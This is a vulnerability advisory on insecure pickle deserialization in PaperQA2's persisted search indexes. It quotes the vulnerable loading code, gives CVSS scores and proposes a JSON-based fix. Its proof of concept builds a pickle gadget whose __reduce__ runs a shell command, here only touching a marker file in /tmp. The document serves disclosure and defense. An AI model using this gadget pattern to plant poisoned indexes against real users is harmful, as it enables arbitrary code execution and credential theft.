Insecure pickle deserialization in PaperQA2 persisted search indexes can lead to code execution when querying a poisoned index

[beanduan22]

Summary

PaperQA2 uses Python pickle as part of its persisted search index storage format. The default storage mode is SearchDocumentStorage.PICKLE_COMPRESSED, and several search-index loading paths deserialize persisted index content with pickle.loads().

If a victim opens or queries a poisoned PaperQA2 index directory, attacker-controlled pickle data can be deserialized and executed inside the victim's Python process.

This affects workflows where PaperQA2 indexes are reused, shared, downloaded, mounted from shared research storage, bundled with tutorial repositories, or distributed as pre-built paper indexes.

Details

The vulnerable component is src/paperqa/agents/search.py.

SearchDocumentStorage.read_from_string() supports both compressed and plain pickle-backed storage:

class SearchDocumentStorage(StrEnum):
    JSON_MODEL_DUMP = "json_model_dump"
    PICKLE_COMPRESSED = "pickle_compressed"
    PICKLE = "pickle"

    def read_from_string(
        self, data: str | bytes
    ) -> BaseModel | SupportsPickle | JsonValue:
        if self == SearchDocumentStorage.JSON_MODEL_DUMP:
            return json.loads(data)
        if self == SearchDocumentStorage.PICKLE_COMPRESSED:
            return pickle.loads(zlib.decompress(data))  # noqa: S301
        return pickle.loads(data)  # noqa: S301

The default storage format for SearchIndex is the unsafe pickle-compressed format:

class SearchIndex:
    def __init__(
        self,
        ...
        storage: SearchDocumentStorage = SearchDocumentStorage.PICKLE_COMPRESSED,
        ...
    ):
        ...

The index-file mapping is also loaded from compressed pickle data:

@property
async def index_files(self) -> dict[str, str]:
    if not self._index_files:
        file_index_path = await self.file_index_filename
        if await file_index_path.exists():
            async with await anyio.open_file(file_index_path, "rb") as f:
                content = await f.read()
                try:
                    self._index_files = pickle.loads(
                        zlib.decompress(content)
                    )  # noqa: S301
                except Exception:
                    logger.exception(
                        f"Failed to load index file {file_index_path}."
                    )
                    raise
    return self._index_files

Because pickle is code-executing by design, pickle.loads() is unsafe for data that may be influenced by an attacker. A malicious index mapping file or document shard can contain a pickle gadget whose __reduce__ method executes an arbitrary callable during deserialization.

The vulnerability is reachable when PaperQA2 loads a persisted index. In particular:

1. Loading the persisted index-file mapping triggers pickle.loads(zlib.decompress(content)).
2. Loading document entries stored with PICKLE_COMPRESSED triggers pickle.loads(zlib.decompress(data)).
3. Loading document entries stored with PICKLE triggers pickle.loads(data).

The issue is especially relevant because PaperQA2 indexes are natural research artifacts: they may be pre-built once and reused across many queries, checked into tutorial repositories, copied between machines, mounted from shared research-group storage, distributed in Docker images, or downloaded as prepared datasets.

I am not claiming that a remote unauthenticated attacker can trigger this against a PaperQA2 process without the victim opening or querying an attacker-controlled index. The demonstrated issue is unsafe deserialization of persisted index artifacts. A victim must use a poisoned index directory or poisoned index shard for the payload to execute.

PoC

The following PoC creates a poisoned compressed pickle payload that writes a marker file under /tmp. It demonstrates the behavior of the vulnerable index-loading and document-loading sinks.

The payload is intentionally limited to creating a marker file. It does not delete files, exfiltrate data, or persist outside /tmp.

from __future__ import annotations

import os
import pickle
import secrets
import subprocess
import tempfile
import zlib
from pathlib import Path


MARKER = Path(f"/tmp/paperqa_pickle_poc_{secrets.token_hex(8)}")


class Gadget:
    def __reduce__(self):
        return (
            subprocess.run,
            (["/bin/sh", "-c", f"touch {MARKER}"],),
        )


def build_payload() -> bytes:
    return pickle.dumps(Gadget(), protocol=pickle.HIGHEST_PROTOCOL)


def build_compressed_payload() -> bytes:
    return zlib.compress(build_payload())


def poc_index_mapping_sink() -> None:
    """
    Reproduces the compressed index-mapping sink:

        pickle.loads(zlib.decompress(content))

    This is the same deserialization pattern used when PaperQA2 loads
    the persisted index-file mapping.
    """
    if MARKER.exists():
        MARKER.unlink()

    with tempfile.TemporaryDirectory() as tmp:
        index_mapping = Path(tmp) / "files.zip"
        index_mapping.write_bytes(build_compressed_payload())

        content = index_mapping.read_bytes()

        # Vulnerable pattern from SearchIndex.index_files.
        pickle.loads(zlib.decompress(content))

    assert MARKER.exists(), f"marker was not created: {MARKER}"
    print(f"PASS index-mapping sink: created {MARKER}")


def poc_document_storage_compressed_sink() -> None:
    """
    Reproduces SearchDocumentStorage.PICKLE_COMPRESSED:

        pickle.loads(zlib.decompress(data))
    """
    if MARKER.exists():
        MARKER.unlink()

    data = build_compressed_payload()

    # Vulnerable pattern from SearchDocumentStorage.read_from_string().
    pickle.loads(zlib.decompress(data))

    assert MARKER.exists(), f"marker was not created: {MARKER}"
    print(f"PASS compressed document-storage sink: created {MARKER}")


def poc_document_storage_plain_sink() -> None:
    """
    Reproduces SearchDocumentStorage.PICKLE:

        pickle.loads(data)
    """
    if MARKER.exists():
        MARKER.unlink()

    data = build_payload()

    # Vulnerable pattern from SearchDocumentStorage.read_from_string().
    pickle.loads(data)

    assert MARKER.exists(), f"marker was not created: {MARKER}"
    print(f"PASS plain document-storage sink: created {MARKER}")


if __name__ == "__main__":
    poc_index_mapping_sink()
    poc_document_storage_compressed_sink()
    poc_document_storage_plain_sink()

Expected output:

PASS index-mapping sink: created /tmp/paperqa_pickle_poc_<random>
PASS compressed document-storage sink: created /tmp/paperqa_pickle_poc_<random>
PASS plain document-storage sink: created /tmp/paperqa_pickle_poc_<random>

A stronger end-to-end reproducer can be built by placing the malicious compressed pickle where the persisted PaperQA2 index mapping is expected, then creating a SearchIndex pointed at that index directory and accessing await search_index.index_files. The marker file is created when the property loads the persisted mapping.

Impact

This is a CWE-502 insecure deserialization vulnerability.

An attacker who can convince a victim to use a poisoned PaperQA2 search index can execute arbitrary code in the victim's Python process when the index is loaded or queried.

Impacted scenarios include:

1. A malicious pre-built PaperQA2 index distributed as a research artifact.
2. A poisoned index directory included in a tutorial repository or reproduction package.
3. A shared research-group or HPC volume where another user can modify a PaperQA2 index directory.
4. A Docker image or VM image that bundles a poisoned index.
5. A backup, sync, or artifact pipeline that restores a poisoned index into a trusted environment.

Potential consequences:

• Confidentiality: arbitrary code execution may expose API keys, local files, model credentials, papers, prompts, or environment variables available to the Python process.
• Integrity: the attacker can modify local files, cached indexes, experiment outputs, or downstream analysis results.
• Availability: the attacker can crash the process, corrupt indexes, or run resource-consuming commands.

Recommended primary severity:

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

This represents the conservative local-artifact scenario: the attacker supplies or modifies a local index artifact, and the victim interacts with it by opening or querying it.

Recommended alternate severity for network-distributed artifacts:

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

This alternate vector applies when the poisoned index is distributed over a network, for example through a dataset host, tutorial repository, artifact archive, Docker image, or other remote artifact distribution mechanism. The victim still needs to download/use the index, so UI:R remains appropriate.

Suggested remediation

Do not use pickle for persisted search index content.

The affected persisted data appears structurally simple enough to serialize safely:

1. The index-file mapping is a dict[str, str]; use JSON or MessagePack.
2. Document/text records are structured application data; prefer Pydantic JSON serialization.
3. Make the safe format the default for all new indexes.
4. Add a migration path for existing pickle-backed indexes.
5. Add a warning or hard failure when loading pickle-backed indexes unless the user explicitly opts in.
6. Consider adding a format/version header to all persisted indexes so PaperQA2 can distinguish safe indexes from legacy pickle indexes.

Example safer direction:

import json

def write_index_files(index_files: dict[str, str]) -> bytes:
    return json.dumps(index_files, ensure_ascii=False).encode("utf-8")

def read_index_files(data: bytes) -> dict[str, str]:
    value = json.loads(data.decode("utf-8"))
    if not isinstance(value, dict):
        raise ValueError("invalid index mapping")
    if not all(isinstance(k, str) and isinstance(v, str) for k, v in value.items()):
        raise ValueError("invalid index mapping")
    return value

For document records, prefer Pydantic model_dump_json() / model_validate_json() or another schema-validated serialization format.

A restricted custom unpickler can reduce some risk for legacy compatibility, but it should be treated only as an interim mitigation. The long-term fix should remove pickle from the default persisted index format.